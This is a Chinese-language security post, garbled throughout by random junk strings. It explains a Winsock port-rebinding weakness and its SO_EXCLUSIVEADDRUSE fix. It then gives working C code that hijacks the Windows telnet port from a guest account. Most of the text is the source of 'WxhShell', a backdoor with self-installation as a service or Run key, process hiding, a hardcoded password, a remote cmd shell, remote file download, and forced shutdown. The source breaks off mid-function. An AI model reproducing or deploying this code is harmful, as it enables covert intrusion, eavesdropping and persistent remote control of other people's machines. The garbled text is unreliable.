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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [flx/E s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i*9Bu; SZ )AO8& saddr.sin_family = AF_INET;
,]* MI" 6'YsSde". saddr.sin_addr.s_addr = htonl(INADDR_ANY); NKJ+DD:' fAHf}j bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {T2=bK~ fRT4,; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N-cLp}D}WB KMo]J1o 这意味着什么?意味着可以进行如下的攻击: LRa^x44 .*_uXQ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B!X;T9^d F\U^-/0, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,ag:w<km CpG]g>]L&[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =MCQNyf+ ;kv/(veQ1< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 [n!5!/g>j XI"8d.VR 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K[/sVaPZ &]xOjv/? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U`w `Cr 6^vseVx 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `of`u B i=mk#.j~ #include WPnw #include ?9I=XTR #include c"H59 jE #include d} {d5-_a DWORD WINAPI ClientThread(LPVOID lpParam); !da[#zK int main() ']]5xH*U { sH_5.+,` WORD wVersionRequested; G+dQ" cI9 DWORD ret; |MEu"pY) WSADATA wsaData; o{n)w6P{R, BOOL val; Xe:gH.} SOCKADDR_IN saddr; n +R3 SOCKADDR_IN scaddr; M}cgVMW int err; 5:r*em SOCKET s; "jFRGgd79 SOCKET sc; riuG,$EX int caddsize; Utv#E.VI HANDLE mt; :#I7);ol DWORD tid; \4qwLM?E^ wVersionRequested = MAKEWORD( 2, 2 ); ~,jBm^4 err = WSAStartup( wVersionRequested, &wsaData ); C[0*>W8o if ( err != 0 ) { byrK``f printf("error!WSAStartup failed!\n"); dd{pF\a return -1; oI2YJ2?Je8 } t!S ja saddr.sin_family = AF_INET; 9+!1jTGSkf w,/&oe5M+ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E` O@UW@ C % d saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vy&< O saddr.sin_port = htons(23); H,Ik&{@j if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U.mVz,k3 { (}jYi*B printf("error!socket failed!\n"); FK ~FC:K return -1; J#OiY
} Vy6A]U\% val = TRUE; <.6bni
) //SO_REUSEADDR选项就是可以实现端口重绑定的 6&Al9+$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wAn}ic".b { WhU-^`[* printf("error!setsockopt failed!\n"); ud}B#{6 return -1; D;RZE } C~PoC'"q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b{WEux{) //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Gs7#W:e7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]`S35b 7 g2@RKo if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tOQura { [
S_8;j ret=GetLastError(); T+9#& printf("error!bind failed!\n"); b7nER]R return -1; _h2s(u
>\ } E,fG<X{ listen(s,2); :fW\!o8Z2 while(1) c/bIt { N9s ,.. caddsize = sizeof(scaddr); H|]~(.w 1} //接受连接请求 vI)-Zz[3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J#L"kz if(sc!=INVALID_SOCKET) bF#1'W& {
&1k2J
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Pn;Tg7oz if(mt==NULL) R,'`
A.Kk { _#2AdhCu printf("Thread Creat Failed!\n"); ecjjCt2S break; 9N?BWv} } '=^$;3Z } l'#P:eW CloseHandle(mt);
eC71;" } m:{ws~ closesocket(s); @}Y,A~ WSACleanup(); *;]j#0 return 0; pjI<
cQ& } b}eBy DWORD WINAPI ClientThread(LPVOID lpParam) ?mjQN|D { ^/k`URQ SOCKET ss = (SOCKET)lpParam; :vqfWK6mv SOCKET sc; q_sQC5:s unsigned char buf[4096]; 9)Jc'd| SOCKADDR_IN saddr; HS% P long num; k8~/lE.Wy DWORD val; [kjm EMF9i DWORD ret; SW^/\cJ^ //如果是隐藏端口应用的话,可以在此处加一些判断 5NT?A,r" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 @\_l%/z{ saddr.sin_family = AF_INET; GdxMHnn= saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .^Z^L F saddr.sin_port = htons(23); .gPXW=r if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XKTX~: { mnwYv..ePz printf("error!socket failed!\n"); LZ"yMnhOf return -1; >>'t7U## } Lh"!Z val = 100; HalkNR-eEm if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?[|T"bE5[ { #t^y$9^ ret = GetLastError(); qq)Dh'5*e, return -1; j|N8"8" } l_Ffbs_6t if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qBkI9H { DV,rh83.ip ret = GetLastError(); |6mDooTy return -1; @ n-[bN } W)0y+H\%
r if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?\eq!bu { v@8=u4 printf("error!socket connect failed!\n"); RH+'"f closesocket(sc); ]B;\?Tim closesocket(ss); `9+>2*k return -1; 2L'vB1` } j#`d%eQ~J while(1) @L)=epC { e>:bV7h
j~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c2,1d` //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ot]Y/;K //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2I2#o9(Ar num = recv(ss,buf,4096,0); w# t[sI"IT if(num>0) \;b)qB send(sc,buf,num,0); 6"d^4L? else if(num==0) ]Gm$0uS break; ~sI$xX! num = recv(sc,buf,4096,0); ]lKQwpX3 if(num>0) *TjolE~o send(ss,buf,num,0); T2nbU6H else if(num==0) 7H1 ii break; 5g{L
-8XwI } `3v!i closesocket(ss); I^5T9}>Q closesocket(sc); ]G0`W6;$] return 0 ; YEEgDw]BQ }
_>G=v! 0NN{2"M$p l>Nz]Ul%{ ==========================================================
O N(H7 GYx_9"J\5 下边附上一个代码,,WXhSHELL ?H c~ 3 j:yQP#U ========================================================== IQZBH2R ]aqHk #include "stdafx.h" ;FO1b* k{fCU% #include <stdio.h> z)Y<@2V*C #include <string.h> wW7W+,{o #include <windows.h> pP4i0mO{Dv #include <winsock2.h> 3lyk/', #include <winsvc.h> N}Ol`@@#h #include <urlmon.h> hLVS}HE2 h48JpZ" #pragma comment (lib, "Ws2_32.lib") :J3ZTyjb #pragma comment (lib, "urlmon.lib") 8-N8v
*0 RaKfYLw #define MAX_USER 100 // 最大客户端连接数 Q9lw~" #define BUF_SOCK 200 // sock buffer $II[b-X?S #define KEY_BUFF 255 // 输入 buffer /\%K7\ O};U3=^0f #define REBOOT 0 // 重启 T;eA<,H #define SHUTDOWN 1 // 关机 Su<Ggv" +TzF*Np #define DEF_PORT 5000 // 监听端口 Ek [V A\G ?UXKy #define REG_LEN 16 // 注册表键长度 VQm)32' #define SVC_LEN 80 // NT服务名长度 C-;y#a) t|gEMDGa3 // 从dll定义API O1@-)<_71 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~ caKzq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (c/H$' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nt,tM/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); idwiM|.iU "t<${ // wxhshell配置信息 @j%r6N struct WSCFG { \dyJ=tg int ws_port; // 监听端口 oKIry
8'^N char ws_passstr[REG_LEN]; // 口令 _}X_^taTZS int ws_autoins; // 安装标记, 1=yes 0=no n7RswX char ws_regname[REG_LEN]; // 注册表键名 `?Pk~7 char ws_svcname[REG_LEN]; // 服务名 ;79X#hI char ws_svcdisp[SVC_LEN]; // 服务显示名 Wgl7)Xk.) char ws_svcdesc[SVC_LEN]; // 服务描述信息 `<Z5/;a5W char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i$)`U] int ws_downexe; // 下载执行标记, 1=yes 0=no q16RPqfT char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" G>?hojvi char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {Gnji] v w][1C\8m }; +Y!9)~f}7X G?LPj*=$? // default Wxhshell configuration %}+!%A.3 struct WSCFG wscfg={DEF_PORT, 8K!
l X "xuhuanlingzhe", ~q]+\qty4 1, ^h+<Q%'a' "Wxhshell", 10v4k<xb "Wxhshell", r\y~
: "WxhShell Service", oYNP,8r^ "Wrsky Windows CmdShell Service", :t\pi.uWt "Please Input Your Password: ", K~A$>0c 1, $oO9N^6yF " http://www.wrsky.com/wxhshell.exe", eRC
/Pr "Wxhshell.exe" VGoD2,(b^ }; )5Ddvz>+ A
KO#$OJE // 消息定义模块 n*6 b*fl char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \UI7H1XDH char *msg_ws_prompt="\n\r? for help\n\r#>"; ]X,C9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; [&n2 yt char *msg_ws_ext="\n\rExit."; m~ %\f8w-x char *msg_ws_end="\n\rQuit."; @O}%sjC1 char *msg_ws_boot="\n\rReboot..."; ;z;O}<8s char *msg_ws_poff="\n\rShutdown..."; i,R<`K0 char *msg_ws_down="\n\rSave to "; fX).A` \ajy%$;$} char *msg_ws_err="\n\rErr!"; L]L-000D( char *msg_ws_ok="\n\rOK!"; G#ov2 Cf`s:A5<J char ExeFile[MAX_PATH]; ]/!#: int nUser = 0; :E/]Bjq$; HANDLE handles[MAX_USER]; ^[}^+ int OsIsNt; UY*3b<F} +K4d(!Sb SERVICE_STATUS serviceStatus; *%L:soM'Ll SERVICE_STATUS_HANDLE hServiceStatusHandle; `7qZ6Z3z@ =[!&&,c= // 函数声明 \2#>@6Sqrl int Install(void); TI-8I) int Uninstall(void); {J2*6_ int DownloadFile(char *sURL, SOCKET wsh); ~6`HJ int Boot(int flag); !Q!==*1H void HideProc(void); Hu|;cbK int GetOsVer(void); ahNpHTPa int Wxhshell(SOCKET wsl); `_C4L=q" void TalkWithClient(void *cs); 5v4
,YHD int CmdShell(SOCKET sock); 42aYM! int StartFromService(void); K_
P08 int StartWxhshell(LPSTR lpCmdLine); T] \_[e:' K1 M s VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WpE\N0Yg VOID WINAPI NTServiceHandler( DWORD fdwControl ); (J8(_MF Tj}H3/2 // 数据结构和表定义 PSz|I8
c SERVICE_TABLE_ENTRY DispatchTable[] = fOEw]B#@ { dieGLA<5_X {wscfg.ws_svcname, NTServiceMain}, MXsSF|- {NULL, NULL} N;ed_! }; tW;1 d^sS{m\ // 自我安装 ~a KxwH int Install(void) ?sV0T)uk { )IQa]A char svExeFile[MAX_PATH]; A{mv[x-XN HKEY key; [V_Z9-f* strcpy(svExeFile,ExeFile); bhaIi>W~G T !C39T // 如果是win9x系统,修改注册表设为自启动 \EF^Ag if(!OsIsNt) { 4$LVl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '+LbFGrO3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ca/AScL RegCloseKey(key); BwwOaO@L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T)J=lw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !L4Vz7C RegCloseKey(key); |T<t19 return 0; XnmQp)nyV } m[6?v;w } Q@gmtAp } 3B#qQ# else { _]btsv\)f `,|"rn#S // 如果是NT以上系统,安装为系统服务 sJ[I< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U:xY~> if (schSCManager!=0) vZ[wr@) { 4Cs
|F7R SC_HANDLE schService = CreateService aI]EwVz-q ( lt\.
)Y>4 schSCManager, F]kn4zr wscfg.ws_svcname, ygoA/*s wscfg.ws_svcdisp, Os--@5e SERVICE_ALL_ACCESS, tB4dkWt.} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f& P'Kxj_ SERVICE_AUTO_START, 0Z9>%\km_ SERVICE_ERROR_NORMAL, ^]}+s( svExeFile, *#p}>\Y{ NULL, JgQ,,p_V? NULL, 4X tIMa28 NULL, EaaLN<i@0 NULL, g{wOq{7V NULL |P!7T. ); &Z!O if (schService!=0) yClX!OL { Q!7il<S CloseServiceHandle(schService); A)"?GK{* CloseServiceHandle(schSCManager); KwO;ICdJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PhTMXv<cE strcat(svExeFile,wscfg.ws_svcname); J?VMQTa/+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /U\k<\1~m RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fq\vFt|m< RegCloseKey(key); S"+X+Oxp7? return 0; jroR2* } 2wR?ON=Q } 5=Cea CloseServiceHandle(schSCManager); )5n*4A } V0 70oZ } BN??3F8C s6=jHrdvv return 1; GH ]c } oPP`)b$x G`1!SEae // 自我卸载 ~jcdnm] int Uninstall(void) M&au A
{ fCC^hB]' HKEY key; H,8HGL[l
X0a)6HZ{ if(!OsIsNt) { "m2g"xa\7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?r
P'PUB RegDeleteValue(key,wscfg.ws_regname); +d/V^ <# RegCloseKey(key); r"HQ>Wn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NVyel*QE RegDeleteValue(key,wscfg.ws_regname); v+\&8)W= RegCloseKey(key); Cn6<I {`\ return 0; R^u 1(SF } 2z*EamF } #6okd*^ } f8ucJ.{" else { +%E)]*Ym {v3?.a$u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P_e9>t@ if (schSCManager!=0) hbfN1"z { Tfsx&k\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K"fr4xHq if (schService!=0) +UvT;" { /:S&1'= if(DeleteService(schService)!=0) { 2Kg-ZDK8 CloseServiceHandle(schService); p;nRxi7' CloseServiceHandle(schSCManager); nulLK28q return 0; 3UXaA; } vca]yK<u CloseServiceHandle(schService); b{
M'aV } $W_sIS0\z
CloseServiceHandle(schSCManager); Tj(DdR#w } _z6_mmMp } (AIgW c+a" sx\ return 1; yyZs[5Q }
(zIWJJw 1s\ // 从指定url下载文件 qnO>F^itF int DownloadFile(char *sURL, SOCKET wsh) B7QuSo// { $0[t<4K`yn HRESULT hr; #{f%b,.yxt char seps[]= "/"; bX*>Zm char *token; Kg8n3pLAX char *file; d@b" ~r} char myURL[MAX_PATH]; A!GQ4.~% char myFILE[MAX_PATH]; k[ZkVwx hiT&QJB` _ strcpy(myURL,sURL); H@|h
Nn$@ token=strtok(myURL,seps); /TEE<\" while(token!=NULL) j'IZ etT { @1c[<3xJT file=token; g.,_E4L token=strtok(NULL,seps); q0t} } Ea<kc[Q q$iGeE# GetCurrentDirectory(MAX_PATH,myFILE); tDWoQ&z2t_ strcat(myFILE, "\\"); FTJvkcc?m strcat(myFILE, file); UI]UxEJ send(wsh,myFILE,strlen(myFILE),0); ?GT,Y5 send(wsh,"...",3,0);
b
fj]Q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V'M#."Of/ if(hr==S_OK) O yG# return 0; *4HogC else n.l7V<1 return 1; G4<M@ET a[Y\5Ojm } hI6Tp>b*~ H$M{thW // 系统电源模块 DnP
"7}v int Boot(int flag) 1`q>*S]( { +3d.JQoKl HANDLE hToken; OAiSE` TOKEN_PRIVILEGES tkp; bmP2nD6 0wE)1w<C~ if(OsIsNt) { O'.sK pXe OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xf|vz|J?y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jCK 0+,; tkp.PrivilegeCount = 1; 9er0Ww.d tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Of gmJ(% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :jHDeF.A if(flag==REBOOT) { 5fDp"- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'UFPQ return 0; a<CJ#B2K } NK!#K>AO else { Y'U]!c9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n4A#T#D!t3 return 0; s`dwE*~ } 9D`p2cO } *|*6q/ else { aH'=k?Of; if(flag==REBOOT) { 8#h~J>u. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .~Gt=F+`s return 0; V jqs\ } |T+YC[T#v else { CFW#+U#U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~{00moN"m return 0; ozUsp[W> } f=cj5T:[ } \N a u"5
hlccH return 1; #>_5PdO } ?Zh,W(7W XY)I ~6$Y // win9x进程隐藏模块 IfzW%UL void HideProc(void) =@*P})w5. { E oh{+>:6 q Oyo+hu HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OhiY < if ( hKernel != NULL ) iPK:gK3Q { !.cno& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &]S\GnqlU] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j<PpCL_8% FreeLibrary(hKernel); +@BjQ|UZ } !V27ln KP+ DTN)#GCtF return; f\X7h6k8{ } ]&_z@Z.i e3=-7FU // 获取操作系统版本 20`QA
u)' int GetOsVer(void) r}M2t$nv { 9?I?;l{ OSVERSIONINFO winfo;
k`=&m" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bZCNW$C3l GetVersionEx(&winfo); ZRn!z`.0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f5P@PG]{ return 1; 9iM[3uyO else jpt-5@5O return 0; u!TMt8+c } ;.I,R NM lnWscb3t // 客户端句柄模块 =y]FcxF int Wxhshell(SOCKET wsl) a"!r]=r { +L-(Lz[p SOCKET wsh; !)HB+yr struct sockaddr_in client; W.7XShwd*2 DWORD myID; il~A(`+YO Jl-:@[; while(nUser<MAX_USER) ,r,$x4* { ;dquld+q int nSize=sizeof(client); 8],tGMu wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q{2
+Inf#: if(wsh==INVALID_SOCKET) return 1; qt=nN-AC( b0aV?A}th handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EncJB if(handles[nUser]==0) I`uOsZBO/ closesocket(wsh); v{O(}@ else &H:2TL! nUser++; k{E!X } r%FfJM@! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l5<&pb#b qMmhVUx return 0; tE]Y=x[Ux } ;G4g;YHy| f19'IH$n{ // 关闭 socket x.ucsb void CloseIt(SOCKET wsh) w'&QNm> { Q+zy\T closesocket(wsh); VskdC?yIp nUser--; ftccga ExitThread(0); OYj~"-3y) } _.+2sm T3In0LQ // 客户端请求句柄 H&=fD` Xq void TalkWithClient(void *cs) g&fq)d { NflRNu:- 9PWqoz2c SOCKET wsh=(SOCKET)cs; {8w,{p` char pwd[SVC_LEN]; qU+qY2S: char cmd[KEY_BUFF]; vxl!`$Pi char chr[1]; C~c|};&% int i,j; O =\`q6l VL/KC-6 while (nUser < MAX_USER) { Xr]<v%,C p{w:^l( if(wscfg.ws_passstr) { 0'O6-1Li if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .Gn-` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * %w8bB //ZeroMemory(pwd,KEY_BUFF); ?;ovh nY) i=0; UsnIx54D3 while(i<SVC_LEN) { de,4Ms!% fea4Ul{ib // 设置超时 A*TO0L fd_set FdRead; 6a4-VX5 struct timeval TimeOut; @0fiui_ FD_ZERO(&FdRead); Fg^Z g\X3 FD_SET(wsh,&FdRead); +W^$my)< TimeOut.tv_sec=8; sO0j!;N TimeOut.tv_usec=0; '=cAdja int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !xz{X ? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MBO>.M$B xMD]b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >/9on. pwd =chr[0]; yN9setw*,M if(chr[0]==0xd || chr[0]==0xa) { a"whg~ pwd=0; #jT=;G7f2 break; R[f@g;h } 9 $Ud\ i++; d5l].%~ } (<ngdf`, ~zyD=jxP9 // 如果是非法用户,关闭 socket V@`A:Nc_> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {7d\du&G } V[avV*;3i +uB.)wr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }<mK79m send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mecm,xwm 5sguv^;C5 while(1) { ^u$?& # E2( {[J ZeroMemory(cmd,KEY_BUFF); C~8;2/F7 1Gh3o}z // 自动支持客户端 telnet标准 f/tJ>^N5 j=0; J:G~9~V^ while(j<KEY_BUFF) { "cx#6Bo| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:qrCqFl cmd[j]=chr[0]; r"x/,!_E if(chr[0]==0xa || chr[0]==0xd) { UCI !>G cmd[j]=0; E2yL9]K2 break; =6< Am } t[HA86X j++; |5#iPw_wMY } #uCE0}N@ R d>PE=u // 下载文件 qL/XGIxL? if(strstr(cmd,"http://")) { a:}&v^v send(wsh,msg_ws_down,strlen(msg_ws_down),0); OuV
f<@a if(DownloadFile(cmd,wsh)) 5<mGG;F send(wsh,msg_ws_err,strlen(msg_ws_err),0); sX|bp)Nw else 8mv}-; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qN(,8P\90 } ]n^TN
r7 else { T5? eb" k C=h[<' switch(cmd[0]) { Jpr`E&%I6 "t:9jU // 帮助 }TsND6Ws3 case '?': { Is#w=s}2 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A
v[|G4n break; WzdE XcY } |QxT"`rT
// 安装 3FE=?Q case 'i': { `;v>fTcy if(Install()) _l$X![@6= send(wsh,msg_ws_err,strlen(msg_ws_err),0); 48"=,IrM else {B)-+0 6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;/)u/[KAv break;
Mt
} y3Lq"?h // 卸载 @;g|styh^ case 'r': { 3FhkK/@ if(Uninstall()) 0mY KzJi send(wsh,msg_ws_err,strlen(msg_ws_err),0); jR@J1IR< else i YBp"+#2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P#N@W_""YD break; P=PVOt@
b } VY_<c 98v // 显示 wxhshell 所在路径 82A[[^` case 'p': { drW}w+! char svExeFile[MAX_PATH]; z<z\) strcpy(svExeFile,"\n\r"); kbKGGn4u strcat(svExeFile,ExeFile); X}RQ&k send(wsh,svExeFile,strlen(svExeFile),0); 8w L%(p break; m5KAKpCR, } O
cJ(i#Q~< // 重启 oC >l|?h, case 'b': { pjrzoMF send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4j VFzO%. if(Boot(REBOOT)) X2S:"0?7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); bbAJ5EqL else { v]e6CZwo closesocket(wsh); ns`njx}C ExitThread(0); <OA[u-ph%S } e'L$g-;>4b break;
_MST8 }
M;zJ1 // 关机 z2Kvp"-} case 'd': { 0VwmV_6'<W send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;1Zz-@ if(Boot(SHUTDOWN)) n|Smy\0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); g*[DyIm else { =b[q<p\ closesocket(wsh); 9#D?wR#J= ExitThread(0); oH]"F } 3*;S%1C^ break; |8s45g> } \o=YsJ8U // 获取shell +y\mlfJ.-b case 's': { Y.}8lh
eH CmdShell(wsh); q:X&)f closesocket(wsh); 3tAX4DnYrq ExitThread(0); MaQ`7U5 |e break; r8Pdk/CW^ } /FW{>N1 // 退出 U5pg<xI case 'x': { G'0]m-)dw send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #Y;tobB CloseIt(wsh); ?VP07
dQTe break; H;=++Dh } QZ^P2==x // 离开 N9jSiRJ case 'q': { aK4ZH}XHE" send(wsh,msg_ws_end,strlen(msg_ws_end),0); h Lv_ER? closesocket(wsh); Gp5[H}8K WSACleanup(); A@qwD300Vo exit(1); <Z58"dg.5 break; =!Ce#p?h, } dPO|x+N, } `ot<BwxJ } Md(h-wYr y`Km96Ui // 提示信息 kjOPsz*0 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p5PTuJ>q } pJ;4rrSK } |\iJ6m;a 3,4m|Z2) return; fx`oe } t$yt8#Tk ?PSVVUq,Z // shell模块句柄 jZLD^@AP int CmdShell(SOCKET sock) 1Z| {3W { !
:XMP*g STARTUPINFO si; 6<N Q/*(/ ZeroMemory(&si,sizeof(si)); nW7Ew<`Q si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /+{]?y, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]v6s](CE PROCESS_INFORMATION ProcessInfo; .Bb86Y=3 char cmdline[]="cmd"; |uRZT3bGyj CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u{dI[?@ return 0; 3El5g0'G } }6#u}^gy C0.bjFT| // 自身启动模式 bX*c-r: int StartFromService(void) ji:E { wS%aN@ay3 typedef struct H%
"R _[+ { m#kJ((~ DWORD ExitStatus; DS]C`aM9 DWORD PebBaseAddress; p@Ng.HE DWORD AffinityMask; f1}am< DWORD BasePriority; D^jyG6Ch ULONG UniqueProcessId; Sx|)GTJJ|- ULONG InheritedFromUniqueProcessId; )Fw{|7@N } PROCESS_BASIC_INFORMATION; i!k5P".o^ O2 sAt3' PROCNTQSIP NtQueryInformationProcess; bQelU Se>"=[= static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1e(QI)
~ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0^IHBN?9 1`z^Xk8vt HANDLE hProcess; g Xi&
